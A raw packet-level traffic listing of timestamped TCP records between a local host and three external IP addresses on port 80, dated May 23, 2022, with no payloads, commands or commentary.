May 23, 2022 09:50:06.557280064 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557301998 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557313919 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557317972 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557354927 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557360888 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557383060 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557410955 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557430029 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557439089 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557441950 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557444096 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557482004 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557483912 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557508945 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557521105 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557539940 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557545900 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557579041 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.558299065 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.560410023 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.560630083 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.560873032 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.586729050 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.586775064 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.586812973 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.586853027 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.586858034 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.586890936 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.586894035 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.586896896 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.586936951 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.586956978 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.586977005 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.586992979 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587016106 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587034941 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587054014 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587074995 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587094069 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587110996 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587132931 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587153912 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587174892 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587189913 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587214947 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587227106 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587255001 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587268114 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587296009 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587315083 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587335110 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587356091 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587373018 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587384939 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587413073 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587423086 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587452888 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587466002 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587492943 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587502956 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587533951 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587543011 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587572098 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587584972 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587614059 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587620974 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587655067 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587663889 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587692976 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587707996 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587733984 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587743044 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587773085 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587784052 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587812901 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587825060 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587853909 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587865114 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587893009 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587910891 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587934017 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587945938 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.587974072 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.587985992 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.588011980 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.588026047 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.588052034 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.588064909 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.588090897 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.588102102 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.588143110 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.588639975 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.589689016 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.589730978 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.589772940 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.589829922 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.598839998 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617353916 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617403984 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617443085 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617460966 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617482901 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617491007 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617496014 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617522001 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617536068 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617562056 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617579937 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617603064 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617616892 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617640972 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617655993 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617680073 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617712021 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617719889 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617724895 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617758036 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617778063 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617798090 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617836952 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617841959 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617850065 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617876053 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617889881 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617916107 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617928982 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617958069 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.617970943 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.617999077 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618010998 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618038893 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618052006 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618077993 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618093967 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618118048 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618129015 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618158102 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618171930 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618197918 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618211985 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618238926 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618251085 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618278027 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618298054 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618319035 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618331909 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618359089 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618371010 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618397951 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618418932 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618427992 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618438005 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618438959 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618477106 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618493080 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618515968 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618530989 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618565083 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618576050 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618602991 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618618011 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618643999 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618657112 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618684053 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618695021 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618721962 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618736029 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618762970 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618773937 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618802071 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618812084 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618843079 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618855000 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618922949 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.618937016 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.618963957 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.619004011 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.619028091 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.619038105 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.619045973 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.619056940 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.619086981 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.619095087 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.619127035 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.619136095 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.619167089 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.619179964 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.619208097 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.619218111 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.619257927 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.620490074 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.620878935 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.648622036 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.648680925 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.648722887 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.648763895 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.648788929 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.648802042 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.648808956 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.648813963 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.648819923 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.648845911 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.648873091 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.648886919 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.648894072 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.648929119 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.648937941 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.648962021 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.648984909 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649000883 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649013042 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649041891 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649054050 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649081945 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649094105 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649122953 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649135113 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649166107 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649174929 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649204969 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649216890 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649245977 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649252892 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649286985 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649295092 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649326086 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649336100 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649367094 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649374008 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649415970 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649482012 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649525881 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649534941 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649571896 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649574041 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649616003 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649619102 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649657965 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649662971 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649698019 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649705887 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649739027 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649749041 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649780035 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649785995 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649820089 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649828911 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649861097 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649868965 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649900913 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649918079 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649945974 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.649956942 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.649987936 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650015116 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650028944 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650043011 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650069952 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650085926 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650113106 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650126934 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650151968 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650180101 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650192976 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650228977 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650234938 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650239944 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650276899 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650319099 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650331020 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650338888 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650357962 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650382042 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650391102 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650398970 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650439024 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650444031 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650477886 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650480986 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650517941 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.650561094 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650569916 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.650976896 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.656379938 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.679783106 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.679845095 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.679919958 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.679924011 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.679948092 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.679965973 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.679996014 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680018902 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680035114 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680058002 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680067062 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680097103 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680125952 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680138111 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680146933 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680176973 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680197001 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680216074 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680229902 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680255890 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680263042 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680294037 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680314064 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680335045 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680341005 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680373907 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680392981 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680414915 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680423975 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680455923 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680470943 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680501938 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680532932 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680571079 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680593967 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680610895 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680619001 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680650949 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680665970 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680687904 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680690050 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680727005 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680743933 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680766106 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680775881 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680804014 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.680823088 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.680850029 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:09.441906929 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:09.442157984 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:10.371138096 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.495825052 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.495945930 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.497107029 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.621716022 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723124981 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723170996 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723211050 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723244905 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.723262072 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.723299026 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723341942 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723361015 CEST	49173	80	192.168.2.22	66.71.247.68
